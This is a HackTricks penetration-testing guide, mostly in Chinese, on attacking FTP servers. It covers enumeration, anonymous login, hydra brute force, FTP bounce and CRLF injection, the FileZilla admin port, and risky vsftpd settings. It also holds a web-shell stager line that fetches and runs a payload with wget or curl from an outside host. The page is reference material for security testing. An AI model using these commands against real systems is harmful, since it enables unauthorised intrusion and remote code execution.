21 - Pentesting FTP
Tip
学习和实践 AWS 黑客技术:
HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
基本信息
文件传输协议 (FTP) 是在计算机网络中用于在服务器与客户端之间传输文件的标准协议。
它是一个 明文 协议,使用 换行字符 0x0d 0x0a,所以有时你需要 使用 telnet 进行连接 或 使用 nc -C。
默认端口: 21
PORT STATE SERVICE
21/tcp open ftp
连接 Active & Passive
在 Active FTP 中,FTP client 首先从其端口 N 向 FTP Server 的命令端口(端口 21)发起控制 connection。随后,client 在端口 N+1 上监听,并将端口 N+1 发送给 FTP Server。FTP Server 然后从其端口 M 向 FTP Client 的端口 N+1 发起数据 connection。
但是,如果 FTP Client 的防火墙配置会控制来自外部的入站数据连接,那么 Active FTP 可能会有问题。可行的解决方案是 Passive FTP。
在 Passive FTP 中,client 从其端口 N 向 FTP Server 的端口 21 发起控制 connection。之后,client 发出 passv comand。Server 然后将其某个端口号 M 发送给 client。接着 client 从其端口 P 向 FTP Server 的端口 M 发起数据 connection。
来源: https://www.thesecuritybuddy.com/vulnerabilities/what-is-ftp-bounce-attack/
连接调试
The FTP commands debug and trace can be used to see how is the communication occurring.
枚举
Banner Grabbing
nc -vn <IP> 21
openssl s_client -connect crossfit.htb:21 -starttls ftp #Get certificate if any
使用 starttls 连接到 FTP
lftp
lftp :~> set ftp:ssl-force true
lftp :~> set ssl:verify-certificate no
lftp :~> connect 10.10.10.208
lftp 10.10.10.208:~> login
Usage: login <user|URL> [<pass>]
lftp 10.10.10.208:~> login username Password
Unauth enum
使用 nmap
sudo nmap -sV -p21 -sC -A 10.10.10.10
你可以使用命令 HELP 和 FEAT 来获取有关 FTP server 的一些信息:
HELP
214-The following commands are recognized (* =>'s unimplemented):
214-CWD XCWD CDUP XCUP SMNT* QUIT PORT PASV
214-EPRT EPSV ALLO* RNFR RNTO DELE MDTM RMD
214-XRMD MKD XMKD PWD XPWD SIZE SYST HELP
214-NOOP FEAT OPTS AUTH CCC* CONF* ENC* MIC*
214-PBSZ PROT TYPE STRU MODE RETR STOR STOU
214-APPE REST ABOR USER PASS ACCT* REIN* LIST
214-NLST STAT SITE MLSD MLST
214 Direct comments to root@drei.work
FEAT
211-Features:
PROT
CCC
PBSZ
AUTH TLS
MFF modify;UNIX.group;UNIX.mode;
REST STREAM
MLST modify*;perm*;size*;type*;unique*;UNIX.group*;UNIX.mode*;UNIX.owner*;
UTF8
EPRT
EPSV
LANG en-US
MDTM
SSCN
TVFS
MFMT
SIZE
211 End
STAT
#Info about the FTP server (version, configs, status...)
Anonymous login
anonymous : anonymous
_anonymous :
_ftp : ftp
ftp <IP>
>anonymous
>anonymous
>ls -a # List all files (even hidden) (yes, they could be hidden)
>binary #Set transmission to binary instead of ascii
>ascii #Set transmission to ascii instead of binary
>bye #exit
Brute force
这里有一个包含默认 ftp 凭证的不错列表: https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt
自动化
Anon login 和 bounce FTP 检查默认由 nmap 使用 -sC 选项执行,或者:
nmap --script ftp-* -p 21 <ip>
浏览器连接
你可以使用浏览器(比如 Firefox)通过如下 URL 连接到 FTP 服务器:
ftp://anonymous:anonymous@10.10.10.98
请注意,如果一个 web application 正在将用户可控的数据 directly to a FTP server 发送,你可以发送 double URL encode %0d%0a(在 double URL encode 这为 %250d%250a)字节,从而让 FTP server perform arbitrary actions。这些可能的任意操作之一是从用户控制的服务器下载内容、执行 port scanning 或尝试与其他基于明文的服务(比如 http)通信。
从 FTP 下载所有文件
wget -m ftp://anonymous:anonymous@10.10.10.98 #Donwload all
wget -m --no-passive ftp://anonymous:anonymous@10.10.10.98 #Download all
如果你的 user/password 含有特殊字符,可以使用 following command:
wget -r --user="USERNAME" --password="PASSWORD" ftp://server.com/
FTP root 映射到 webroot (XAMPP)
- XAMPP/ProFTPD 常常将 FTP root 映射到
/opt/lampp/htdocs,所以在像daemon或nobody这样的服务账户上存在弱凭证时,可能让你 upload a PHP web shell directly into the served webroot。 - 上传后,通过 shell 触发一个 architecture-aware download/exec stager,例如:
webshell.php?dmc=(wget -qO - http://<compromised_host_ip>/.x/?x=x86 || curl http://<compromised_host_ip>/.x/?x=x86),该命令会获取一个 checksum-validated payload,保存为(例如init_start),执行chmod +x并运行它。 - 如果当前目录不可写/不可执行,stager 会回退到
/tmp,因此在上传后测试 web 路径和文件系统权限。
一些 FTP 命令
USER usernamePASS passwordHELP服务器会指示哪些命令被支持PORT 127,0,0,1,0,80这会指示 FTP 服务器与 IP 127.0.0.1 的 80 端口建立连接(你需要将第 5 个字符设为 “0”,第 6 个字符设为端口的十进制,或者使用第 5 和第 6 个字符以十六进制表示端口)。EPRT |2|127.0.0.1|80|这会指示 FTP 服务器与 IP 127.0.0.1 的 80 端口建立一个 TCP 连接(由 “2” 表示)。该命令 supports IPv6。LIST列出当前文件夹的文件LIST -R递归列出(如果服务器允许)APPE /path/something.txt指示 FTP 从一个 passive 连接或从一个 PORT/EPRT 连接接收数据并存到文件中。如果文件名已存在,会追加数据。STOR /path/something.txt类似APPE,但会覆盖文件STOU /path/something.txt类似APPE,但如果文件已存在则不做任何操作。RETR /path/to/file必须先建立一个 passive 或 port 连接。然后,FTP 服务器会通过该连接发送指定的文件REST 6指示服务器下次使用RETR发送时应从第 6 个字节开始。TYPE i将传输设置为 binaryPASV这会打开一个 passive 连接并告知用户可连接的位置PUT /tmp/file.txt上传指定文件到 FTP
.png)
FTPBounce attack
一些 FTP 服务器允许使用命令 PORT。该命令可用于指示服务器连接到另一台 FTP 服务器的某个端口。然后,你可以利用这一点通过该 FTP 服务器扫描某个主机的哪些端口是开放的。
Learn here how to abuse a FTP server to scan ports.
你也可以滥用这种行为让 FTP 服务器与其他协议交互。你可以 upload a file containing an HTTP request 并让易受攻击的 FTP 服务器 send it to an arbitrary HTTP server(也许用于添加一个新的 admin 用户?),或者上传一个 FTP 请求并让该易受攻击的 FTP 服务器为另一个 FTP 服务器下载文件。
原理很简单:
- 将请求(作为文本文件)上传到易受攻击的服务器。 记住如果你想与另一个 HTTP 或 FTP 服务器通信,你需要把行尾换成
0x0d 0x0a - 使用
REST X来避免发送那些你不想发送的字符(可能为了在文件中上传请求你需要在开头放一些图片头) - 使用
PORT连接到任意服务器和服务 - 使用
RETR将保存的请求发送到服务器。
很有可能这会抛出类似的错误:Socket not writable,因为连接维持时间不足以通过 RETR 发送数据。为避免这种情况,可以尝试:
- 如果你要发送 HTTP 请求,重复相同的请求多次拼接直到至少 ~0.5MB。像这样:
- 尝试用与协议相关的“junk”数据填充请求(对 FTP 可能只是垃圾命令或重复
RETR指令以获取文件) - 或者仅用大量的空字符或其他字符填充请求(可以分行也可以不分行)
无论如何,这里有一个旧示例,说明如何滥用此方法让 FTP 服务器从另一台 FTP 服务器下载文件。
FileZilla Server 漏洞
FileZilla 通常会在本地绑定一个用于 FileZilla-Server 的管理服务(端口 14147)。如果你能从你的机器创建一个到该端口的 tunnel,你可以使用空密码连接到它并为 FTP 服务创建一个新用户。
配置文件
ftpusers
ftp.conf
proftpd.conf
vsftpd.conf
Post-Exploitation
vsFTPd 的默认配置位于 /etc/vsftpd.conf。在这里,你可能会发现一些危险的设置:
anonymous_enable=YESanon_upload_enable=YESanon_mkdir_write_enable=YESanon_root=/home/username/ftp- 匿名用户的目录。chown_uploads=YES- 更改匿名上传文件的所有者chown_username=username- 被赋予匿名上传文件所有权的用户local_enable=YES- 允许本地用户登录no_anon_password=YES- 不向匿名用户询问密码write_enable=YES- 允许命令:STOR, DELE, RNFR, RNTO, MKD, RMD, APPE, 和 SITE
Shodan
ftpport:21
HackTricks 自动命令
Protocol_Name: FTP #Protocol Abbreviation if there is one.
Port_Number: 21 #Comma separated if there is more than one.
Protocol_Description: File Transfer Protocol #Protocol Abbreviation Spelled out
Entry_1:
Name: Notes
Description: Notes for FTP
Note: |
Anonymous Login
-bi <<< so that your put is done via binary
wget --mirror 'ftp://ftp_user:UTDRSCH53c"$6hys@10.10.10.59'
^^to download all dirs and files
wget --no-passive-ftp --mirror 'ftp://anonymous:anonymous@10.10.10.98'
if PASV transfer is disabled
https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-ftp/index.html
Entry_2:
Name: Banner Grab
Description: Grab FTP Banner via telnet
Command: telnet -n {IP} 21
Entry_3:
Name: Cert Grab
Description: Grab FTP Certificate if existing
Command: openssl s_client -connect {IP}:21 -starttls ftp
Entry_4:
Name: nmap ftp
Description: Anon login and bounce FTP checks are performed
Command: nmap --script ftp-* -p 21 {IP}
Entry_5:
Name: Browser Connection
Description: Connect with Browser
Note: ftp://anonymous:anonymous@{IP}
Entry_6:
Name: Hydra Brute Force
Description: Need Username
Command: hydra -t 1 -l {Username} -P {Big_Passwordlist} -vV {IP} ftp
Entry_7:
Name: consolesless mfs enumeration ftp
Description: FTP enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/ftp/anonymous; set RHOSTS {IP}; set RPORT 21; run; exit' && msfconsole -q -x 'use auxiliary/scanner/ftp/ftp_version; set RHOSTS {IP}; set RPORT 21; run; exit' && msfconsole -q -x 'use auxiliary/scanner/ftp/bison_ftp_traversal; set RHOSTS {IP}; set RPORT 21; run; exit' && msfconsole -q -x 'use auxiliary/scanner/ftp/colorado_ftp_traversal; set RHOSTS {IP}; set RPORT 21; run; exit' && msfconsole -q -x 'use auxiliary/scanner/ftp/titanftp_xcrc_traversal; set RHOSTS {IP}; set RPORT 21; run; exit'
参考资料
Tip
学习和实践 AWS 黑客技术:
HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。


